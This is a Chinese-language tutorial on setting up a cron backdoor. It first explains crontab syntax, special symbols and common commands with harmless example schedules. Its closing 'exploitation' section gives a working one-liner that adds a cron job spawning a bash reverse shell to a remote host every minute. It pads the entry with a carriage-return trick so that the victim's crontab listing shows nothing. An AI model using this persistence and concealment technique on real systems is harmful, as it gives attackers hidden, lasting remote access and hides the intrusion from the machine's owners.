利用Cron机制安装后门
Cron是ubuntu下默认启动的用户执行计划。它会按照设置,在固定的周期或者按照一定时间执行某一个任务。
1、crontab命令选项
# crontab -u -u指定一个用户 -l列出某个用户的任务计划 -r删除某个用户的任务 -e编辑某个用户的任务
2、cron 文件写法
可用crontab -e命令来编辑,编辑的是/var/spool/cron下对应用户的cron文件,也可以直接修改/etc/crontab文件。
Minute Hour Day Month Week command 分钟 小时 天 月 星期 命令 0-59 0-23 1-31 1-12 0-6 command Minute 每个小时的第几分钟执行该任务 Hour 每天的第几个小时执行该任务 Day 每月的第几天执行该任务 Month 每年的第几个月执行该任务 DayOfWeek 每周的第几天执行该任务,0表示周日 Command 指定要执行的程序、脚本或命令
3、特殊符号的含义
星号(*):代表所有可能的值,例如month字段如果是星号,则表示在满足其它字段的制约条件后每月都执行该命令操作。
逗号(,):可以用逗号隔开的值指定一个列表范围,例如,“1,2,5,7,8,9”
中杠(-):可以用整数之间的中杠表示一个整数范围,例如“2-6”表示“2,3,4,5,6”
正斜线(/):可以用正斜线指定时间的间隔频率,例如“0-23/2”表示每两小时执行一次。同时正斜线可以和星号一起使用,例如*/10,如果用在minute字段,表示每十分钟执行一次。
4、常用命令
vi /etc/crontab ## cron配置文件路径 /etc/init.d/crond restart ##重启cron 查看cron服务情况 service crond status ##crond服务状态 service crond stop ##crond服务关闭 service crond start ##crond服务打开 cat /var/log/cron ##查看cron日志 chmod +x filename ##将脚本改成可执行
5、常用示例
5 * * * * ls ##指定每小时的第5分钟执行一次ls命令 30 5 * * * ls ##指定每天的 5:30 执行ls命令 30 7 8 * * ls ##指定每月8号的7:30分执行ls命令 30 5 8 6 * ls ##指定每年的6月8日5:30执行ls命令 30 6 * * 0 ls ##指定每星期日的6:30执行ls命令[注:0表示星期天,1表示星期1,以此类推,也可以用英文来表示,sun表示星期天,mon表示星期一等。] 30 3 10,20 * * ls ##每月10号及20号的3:30执行ls命令[注:“,”用来连接多个不连续的时段] 25 8-11 * * * ls ##每天8-11点的第25分钟执行ls命令[注:“-”用来连接连续的时段] */15 * * * * ls 每15分钟执行一次ls命令 [即每个小时的第0 15 30 45 60分钟执行ls命令 ] 30 6 */10 * * ls ##每个月中,每隔10天6:30执行一次ls命令[即每月的1、11、21、31日是的6:30执行一次ls命令 ]
每天7:50以root 身份执行/etc/cron.daily目录中的所有可执行文件
50 7 * * * root run-parts /etc/cron.daily [ 注:run-parts参数表示,执行后面目录中的所有可执行文件]
第10、20、30分钟输出到/tmp/cron1.txt:
10,20,30 * * * * echo “第10、20、30分钟输出一次” >> /tmp/cron1.txt
以用户web的身份每两小时就运行某个程序:
0 */2 * * * web /usr/bin/somecommand >> /dev/null 2>&1
6、利用
可以使用基本的服务查看状态命令等查看信息。
service cron status
查看用户的执行计划。(如果你显示没有计划不要着急,后面加上cron.allow和cron.deny就有了)
crontab -l ##列出任务 crontab -e ##编辑任务
我们可以通过将反弹shell加入到定时任务内进行执行:
(crontab -l;printf "* * * * * /bin/bash -c '/bin/sh -i >& /dev/tcp/192.168.0.114/2334 0>&1';\r%100c\n")|crontab -
而且我们会发现在受害机上查询定时任务会查询不到东西:
这个是因为我们在编辑定时任务时加进去的 \r%100c\n
,这个在Linux下的cat等命令是默认无法显示出来的,对于隐藏痕迹有一些好处。